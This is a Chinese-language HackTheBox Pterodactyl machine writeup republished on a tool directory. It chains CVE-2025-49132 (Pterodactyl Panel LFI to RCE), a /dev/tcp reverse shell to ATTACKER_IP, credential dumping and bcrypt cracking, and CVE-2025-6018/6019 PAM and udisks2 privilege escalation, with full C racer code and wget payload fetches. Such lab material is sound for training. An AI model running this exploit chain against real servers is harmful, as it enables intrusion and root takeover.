Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
HTB-Pterodactyl-Writeup — HTB 第 10 季 - Pterodactyl 靶机 writeup。中等难度 Linux 靶机,涵盖 CVE-2025-49132(Pterodactyl Panel RCE)和 CVE-2025-6018/6019(udisks2 权限提升)。 | Kitploit
工具/GitHubGitHub/karimelsheikh1/htb-pterodactyl-writeup
密码破解权限提升侦察漏洞分析漏洞利用横向移动Web应用程序漏洞利用CTF渗透测试

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
学习与教育
GitHubkarimelsheikh1/htb-pterodactyl-writeup

HTB-Pterodactyl-Writeup

HTB 第 10 季 - Pterodactyl 靶机 writeup。中等难度 Linux 靶机,涵盖 CVE-2025-49132(Pterodactyl Panel RCE)和 CVE-2025-6018/6019(udisks2 权限提升)。

查看仓库
3个月前尚未审核

HackTheBox — Pterodactyl 题解

难度: 中等 | 操作系统: Linux (openSUSE Leap 15.6) | 赛季: 10


概述

Pterodactyl 是一台中等难度的 Linux 靶机,运行着 Pterodactyl 游戏服务器面板。攻击链涉及面板中一个无需认证的 LFI 到 RCE 漏洞、通过 MySQL 提取凭据、破解 bcrypt 哈希以获得 SSH 访问权限,以及一条利用 PAM 会话注入和 udisks2 XFS resize 竞态条件的双 CVE 提权链。

Flag:

  • 用户:************************
  • Root:(通过 CVE-2025-6019 获得)

信息收集

Nmap

root@kitploit:~
nmap -sSCV -A --min-rate 4000 10.129.44.184

开放端口:

端口服务版本
22SSHOpenSSH 9.6p1
80HTTPnginx/1.21.5 → pterodactyl.htb

/etc/hosts

root@kitploit:~
echo "10.129.44.184 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb" | sudo tee -a /etc/hosts

Web 枚举

root@kitploit:~
dirsearch -u http://pterodactyl.htb/ -t 40
curl -s http://pterodactyl.htb/changelog.txt

changelog 中的关键发现:

  • 网站:MonitorLand
  • 面板版本:Pterodactyl Panel v1.11.10(存在漏洞)
  • 启用了 PHP-PEAR
  • 子域名:panel.pterodactyl.htb

phpinfo.php 分析

root@kitploit:~
curl -s "http://pterodactyl.htb/phpinfo.php" | grep -E "register_argc|include_path|open_basedir|upload_tmp_dir"
配置项值意义

初始访问 — CVE-2025-49132

CVE-2025-49132 影响 Pterodactyl Panel ≤ v1.11.10 版本。/locales/locale.json 端点将 locale 和 namespace 参数直接传递给 PHP 的 include(),且未经过滤或身份验证,从而可实现目录遍历和基于 pearcmd 的 RCE。

漏洞利用

root@kitploit:~
git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132

# Dump config (DB creds + APP_KEY)
python3 exploit.py http://panel.pterodactyl.htb

# Test RCE
python3 exploit.py http://panel.pterodactyl.htb \
  --rce-cmd "id" \
  --pear-dir /usr/share/php/PEAR

输出: uid=474(wwwrun) gid=477(www) groups=477(www)

提取的凭据

服务用户名密码
MySQLpterodactylPteraPanel
LaravelAPP_KEYbase64:UaThTPQnUjrrK61o+...

反弹 Shell

root@kitploit:~
# Listener
nc -lnvp 4444

# Exploit
python3 exploit.py http://panel.pterodactyl.htb \
  --rce-cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
  --pear-dir /usr/share/php/PEAR

横向移动

MySQL 凭据导出

root@kitploit:~
mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 \
  -e "USE panel; SELECT username,email,password FROM users;"
用户名哈希
headmonitor$2y$10$3WJht3/5GOQmOXdljPbAJet...
phileasfogg3$2y$10$PwO0TBZA8hLB6nuSsxRqoO...

用户 Flag

root@kitploit:~
cat /home/phileasfogg3/user.txt

哈希破解

root@kitploit:~
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt -w 3

结果: phileasfogg3 : !QAZ2wsx

SSH 访问

root@kitploit:~
ssh [email protected]
# password: !QAZ2wsx

权限提升

Sudo 分析

root@kitploit:~
sudo -l

已配置 (ALL) ALL,但 targetpw 的 Defaults 选项要求输入 root 的密码——这阻止了常规的 sudo 滥用。


第 1 步 — CVE-2025-6018:PAM 会话绕过

CVE-2025-6018 利用 openSUSE 上的 pam_env.so 在登录时注入环境变量。通过在 ~/.pam_environment 中放置 XDG_SEAT=seat0 和 XDG_VTNR=1,远程 SSH 用户可以诱使 Polkit 将其会话视为活动的本地控制台会话(allow_active),从而解锁硬件管理的 D-Bus 操作。

root@kitploit:~
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment

# Exit and SSH back in (PAM re-reads on fresh login)
exit
ssh [email protected]

# Verify
echo $XDG_SEAT   # seat0
echo $XDG_VTNR   # 1

第 2 步 — CVE-2025-6019:udisks2 XFS Resize 竞态条件 → Root

CVE-2025-6019 利用了 libblockdev 中缺失的 nosuid 标志:当 udisks2 在 Filesystem.Resize D-Bus 调用期间临时挂载 XFS 镜像时,该标志是缺失的。通过在此时间窗口内竞速执行镜像中的 SUID 二进制文件,拥有 allow_active Polkit 权限的非特权用户可以获得 root shell。

构建 XFS 镜像(在攻击者机器上)

root@kitploit:~
# Create XFS image using target's mkfs.xfs for compatibility
scp phileasfogg3@TARGET:/sbin/mkfs.xfs /tmp/target_mkfs_xfs

# Build on target directly instead
ssh phileasfogg3@TARGET
dd if=/dev/zero of=/tmp/xfs_new.img bs=1M count=300
/sbin/mkfs.xfs -f /tmp/xfs_new.img

传输到攻击者机器,注入 SUID 二进制文件,再传回:

root@kitploit:~
# On attacker (as root)
scp phileasfogg3@TARGET:/tmp/xfs_new.img /tmp/xfs_new.img
mount -o loop,suid /tmp/xfs_new.img /tmp/mnt
cp rootbash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl      # Must show -rwsr-xr-x
umount /tmp/mnt
gzip -c /tmp/xfs_new.img > xfs_new.img.gz

编译高速 C 竞态程序

root@kitploit:~
// racer.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/stat.h>

int main() {
    char path[512], cmd[512];
    struct stat st;
    while(1) {
        DIR *d = opendir("/tmp");
        struct dirent *e;
        while((e = readdir(d))) {
            if(strncmp(e->d_name, "blockdev.", 9) == 0) {
                snprintf(path, sizeof(path), "/tmp/%s/xpl", e->d_name);
                if(stat(path, &st) == 0 && (st.st_mode & S_ISUID)) {
                    closedir(d);
                    snprintf(cmd, sizeof(cmd),
                        "%s -p -c 'cp /bin/bash /tmp/b; chmod 4755 /tmp/b'", path);
                    system(cmd);
                    return 0;
                }
            }
        }
        closedir(d);
    }
}
root@kitploit:~
gcc -O2 -o racer racer.c

执行竞态

root@kitploit:~
# On target
wget http://ATTACKER_IP/xfs_new.img.gz && gunzip xfs_new.img.gz
wget http://ATTACKER_IP/racer && chmod +x racer

udisksctl loop-setup -f /tmp/xfs_new.img --no-user-interaction
# Note loop device number (e.g. loop7)

rm -rf /tmp/blockdev.* 2>/dev/null
/tmp/racer &

for i in $(seq 1 300); do
  gdbus call --system \
    --dest org.freedesktop.UDisks2 \
    --object-path /org/freedesktop/UDisks2/block_devices/loop7 \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' 2>/dev/null &
done
wait

结果: 获得 root shell。

root@kitploit:~
id
# uid=0(root)

cat /root/root.txt

攻击链

root@kitploit:~
[Nmap] Ports 22, 80
    ↓
[Web Enum] changelog.txt → Pterodactyl Panel v1.11.10
    ↓
[phpinfo.php] register_argc_argv=On, PEAR in include_path
    ↓
[CVE-2025-49132] Unauth LFI → pearcmd RCE → wwwrun shell
    ↓
[MySQL] pterodactyl:PteraPanel → bcrypt hashes
    ↓
[Hashcat] phileasfogg3:!QAZ2wsx
    ↓
[SSH] phileasfogg3
    ↓
[CVE-2025-6018] ~/.pam_environment → allow_active bypass
    ↓
[CVE-2025-6019] udisks2 XFS resize race → SUID exec → ROOT

凭据

服务用户名密码
MySQLpterodactylPteraPanel
SSH / 面板phileasfogg3!QAZ2wsx

使用的工具


参考链接

  • CVE-2025-49132 PoC
  • CVE-2025-6018-6019 PoC
  • Qualys 安全公告
  • HackTheBox

题解作者:[kareem elsheikh] | HackTheBox 第 10 赛季

下载工具
register_argc_argvOn启用 pearcmd CLI 利用
include_path.:/usr/share/php8:/usr/share/php/PEARpearcmd.php 可达
open_basedir(无值)不受限制的文件系统访问
工具用途
nmap端口扫描
dirsearchWeb 目录暴力破解
CVE-2025-49132 漏洞利用未认证 LFI + pearcmd RCE
hashcat (-m 3200)Bcrypt 破解
CVE-2025-6018-6019 PoCPAM 绕过 + udisks2 竞态
自定义 C 竞态程序在 nosuid 竞态条件中胜出